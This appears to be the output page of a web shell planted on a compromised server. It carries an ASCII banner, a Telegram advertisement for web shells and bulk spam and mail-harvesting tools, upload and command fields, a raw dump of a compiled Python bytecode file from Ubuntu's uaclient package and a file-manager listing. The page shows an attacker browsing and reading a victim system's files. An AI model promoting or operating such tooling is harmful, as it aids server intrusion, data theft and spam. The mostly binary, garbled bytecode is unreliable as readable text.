__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g�#���SSKrSSKJr SSKJrJrJr SSKJrJrJ	r	J
r
 SSKJr SSK
Jr Sq"SS5rSS	\4S
jjrg)�N)�datetime)�Any�Dict�Optional)�defaults�
exceptions�system�util)�PublicMachineTokenData)�UAFilec���\rSrSr\R
S4S\S\\4SjjrS\	4Sjr
SrS	\\	4S
jr\
S5r\
S5r\
S	\\4S
j5rSr\
S	\\\44Sj5rSS\\4Sjjr\SS\\\4S\\4Sjj5r\
S	\\4Sj5r\
S5r\
S	\\4Sj5r\
SSj5r\
SSj5r\
S Sj5r\
S5r \
S5r!\
S5r"Sr#g)!�MachineTokenFile�N�	directory�machine_token_overlay_pathc���[Rn[X1S-[R-5Ul[X1S5UlX lSUlSUlSUl	g)N�/F)
r�MACHINE_TOKEN_FILEr�PRIVATE_SUBDIR�private_file�public_filer�_machine_token�
_entitlements�_contract_expiry_datetime)�selfrr�	file_names    �>/usr/lib/python3/dist-packages/uaclient/files/machine_token.py�__init__�MachineTokenFile.__init__
s]��
�/�/�	�"��3���)@�)@�@�
���"�)��>���*D�'�"���!���)-��&��private_contentc���[R"5(a�[R"U[RS9nUR
R
U5 [R"U5RSS9n[R"U[RS9nURR
U5 SUlSUlSUl
g[R"5e)z8Update the machine_token file for both pub/private files��clsF)�	keep_noneN)r
�we_are_currently_root�json�dumps�DatetimeAwareJSONEncoderr�writer�	from_dict�to_dictrrrrr�NonRootUserError)rr!�private_content_str�public_content�public_content_strs     rr*�MachineTokenFile.writes����%�%�'�'�"&�*�*��T�%B�%B�#��
���#�#�$7�8�4�=�=����g��g�&�
�"&����D�$A�$A�"��
���"�"�#5�6�"&�D��!%�D��-1�D�*��-�-�/�/r c���[R"5(aJURR5 URR5 SUlSUlSUlg[R"5e)z!Delete both pub and private filesN)
r
r&r�deleterrrrrr-�rs rr3�MachineTokenFile.delete4s\���%�%�'�'����#�#�%����$�$�&�"&�D��!%�D��-1�D�*��-�-�/�/r �returnc��[R"5(a
URnOURnUR	5nU(dg[
R"U[RS9nU$![a U$f=f�Nr#)	r
r&rr�readr'�loads�DatetimeAwareJSONDecoder�	Exception)r�file_handler�contents   rr9�MachineTokenFile.read@sv���%�%�'�'��,�,�L��+�+�L��#�#�%����	��j�j��d�.K�.K�L�G�����	����	�s�
#A2�2
B�?Bc���[R"5(a3URR=(a URR$URR$�N)r
r&r�
is_presentrr4s rrB�MachineTokenFile.is_presentNsF���%�%�'�'��#�#�.�.�O�4�3D�3D�3O�3O�O��#�#�.�.�.r c��UR(deUR5nU(aHUR(a7URUR5nU(a[R
"UUS9 XlUR$)zAReturn the machine-token if cached in the machine token response.)�	base_dict�overlay_dict)rr9r�parse_machine_token_overlayr
�depth_first_merge_overlay_dict)rr>�machine_token_overlays   r�
machine_token�MachineTokenFile.machine_tokenUsj���"�"��i�i�k�G��4�:�:�(,�(H�(H��3�3�)�%�)��7�7�")�%:��#*���"�"�"r c��UR(a;URRS05RS05RS5$g)N�machineTokenInfo�contractInfo�name�rJ�getr4s r�
contract_name�MachineTokenFile.contract_namegsA������"�"�&�&�'9�2�>���^�R�(���V��
�r c�t�[R"U5n[R"U[R
S9$r8)r	�	load_filer'r:r
r;)rr�machine_token_overlay_contents   rrG�,MachineTokenFile.parse_machine_token_overlayrs5��(.�(8�(8�&�)
�%��z�z�)��-�-�
�	
r c�^�[UR5(aURSS$0$)NrM�accountInfo��boolrJr4s r�account�MachineTokenFile.account{s/����"�"�#�#��%�%�&8�9�-�H�H��	r �seriesc��UR(aUR$UR(d0$URURU5UlUR$)z9Return configured entitlements keyed by entitlement named)rrJ�get_entitlements_from_token)rr^s  r�entitlements�MachineTokenFile.entitlements�sQ������%�%�%��!�!��I�!�=�=�����
����!�!�!r rJc�l�SSKJn U(d0$0nURS05RS5nU(d0$[SURS/555n[SURS/555nUR	5H upxS	U0n	Xu;aUUU	S
'U"X�S9 X�U'M" U$)zuReturn a dictionary of entitlements keyed by entitlement name.

Return an empty dict if no entitlements are present.
r)�apply_contract_overridesrMrNc3�f# �UH'nURS5URS54v� M) g7f)�type�tokenN�rQ��.0�es  r�	<genexpr>�?MachineTokenFile.get_entitlements_from_token.<locals>.<genexpr>�s,���
�<���U�U�6�]�A�E�E�'�N�+�<�s�/1�resourceTokensc3�H# �UHnURS5U4v� M g7f)rfNrhris  rrlrm�s$���
�A���U�U�6�]�A��A�s� "�resourceEntitlements�entitlement�
resourceToken)r^)�uaclient.contractrdrQ�dict�items)
rJr^rdrarN�tokens_by_name�ent_by_name�entitlement_name�	ent_value�entitlement_cfgs
          rr`�,MachineTokenFile.get_entitlements_from_token�s���	?���I���$�(�(�);�R�@�D�D��
����I��
�"�&�&�'7��<�
�
���
�!�%�%�&<�b�A�
�
��,7�+<�+<�+>�'��,�i�8�O��1�3A�$�4���0�
%�_�D�-<�)�*�,?��r c���UR(dRUR(aAURRS05RS05RSS5UlUR$)z6Return a datetime of the attached contract expiration.rMrN�effectiveToN)r�is_attachedrJrQr4s r�contract_expiry_datetime�)MachineTokenFile.contract_expiry_datetime�sZ���-�-�$�2B�2B��"�"�&�&�'9�2�>���^�R�(���]�D�)�
�*��-�-�-r c�,�[UR5$)z<Report whether this machine configuration is attached to UA.rZr4s rr~�MachineTokenFile.is_attached�s���D�&�&�'�'r c��URcgURR5[R"5R5-
nUR$)z�Report num days until contract expiration based on effectiveTo

:return: A positive int representing the number of days the attached
    contract remains in effect. Return a negative int for the number
    of days beyond contract's effectiveTo date.
N)r�dater�utcnow�days)r�deltas  r�contract_remaining_days�(MachineTokenFile.contract_remaining_days�sF���(�(�0���-�-�2�2�4�x���7H�7M�7M�7O�O���z�z�r c�|�UR(a+URRS05RS5$g)N�activityInfo�
activityTokenrPr4s r�activity_token�MachineTokenFile.activity_token�s9������%�%�)�)�.�"�=�A�A���
�r c�|�UR(a+URRS05RS5$g)Nr��
activityIDrPr4s r�activity_id�MachineTokenFile.activity_id�s2������%�%�)�)�.�"�=�A�A�,�O�O�r c�|�UR(a+URRS05RS5$g)Nr��activityPingIntervalrPr4s r�activity_ping_interval�'MachineTokenFile.activity_ping_interval�s9������%�%�)�)�.�"�=�A�A�&��
�r c��UR(a;URRS05RS05RS5$g)NrMrN�idrPr4s r�contract_id�MachineTokenFile.contract_id�sA������"�"�&�&�'9�2�>���^�R�(���T��
�
r c�^�UR(aURRS/5$g)NrnrPr4s r�resource_tokens� MachineTokenFile.resource_tokens�s(������%�%�)�)�*:�B�?�?�r c��UR5RS05RS05RS05RSS5nU$)N�supportrq�affordances�
onlySeries)rarQ)r�only_seriess  rr��MachineTokenFile.only_series�sM��
����
�S��B�
�
�S���
#�
�S���
#�
�S��t�
$�	��r )rrrrrrrA)r6z
Optional[str])r6z
Optional[int])$�__name__�
__module__�__qualname__�__firstlineno__r�DEFAULT_DATA_DIR�strrrrtr*r3r9�propertyrBrJrRrGrrr\ra�staticmethodr`rrr~�intr�r�r�r�r�r�r��__static_attributes__�r rrrs���"�2�2�48�
.��
.�%-�S�M�
.�0�T�0�0
0��h�t�n���/��/��#��#�"��x��}����
����c�3�h�����
	"�8�C�=�	"��?C�#��C��H�~�#�/7��}�#��#�J�	.�(�8�*<�	.��	.��(��(��
��#��
��
���������
���������������r rr6c��SSKJn [(d;U(dU"5n[URUR
R
S5S9q[$)Nr)�UAConfigrI)rr)�uaclient.configr��_machine_token_filer�data_dir�featuresrQ)�cfgr�s  r�get_machine_token_filer�sF��(�����*�C�.��l�l�'*�|�|�'7�'7�'�(�
���r rA)r'r�typingrrr�uaclientrrr	r
�uaclient.contract_data_typesr�uaclient.files.filesrr�rr�r�r r�<module>r�s=����&�&�7�7�?�'���t�t�n�(8�r 

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 502 B 0644
data_types.cpython-313.pyc File 4.07 KB 0644
files.cpython-313.pyc File 5.96 KB 0644
machine_token.cpython-313.pyc File 12.44 KB 0644
notices.cpython-313.pyc File 9.92 KB 0644
state_files.cpython-313.pyc File 8.69 KB 0644
user_config_file.cpython-313.pyc File 6.41 KB 0644
Filemanager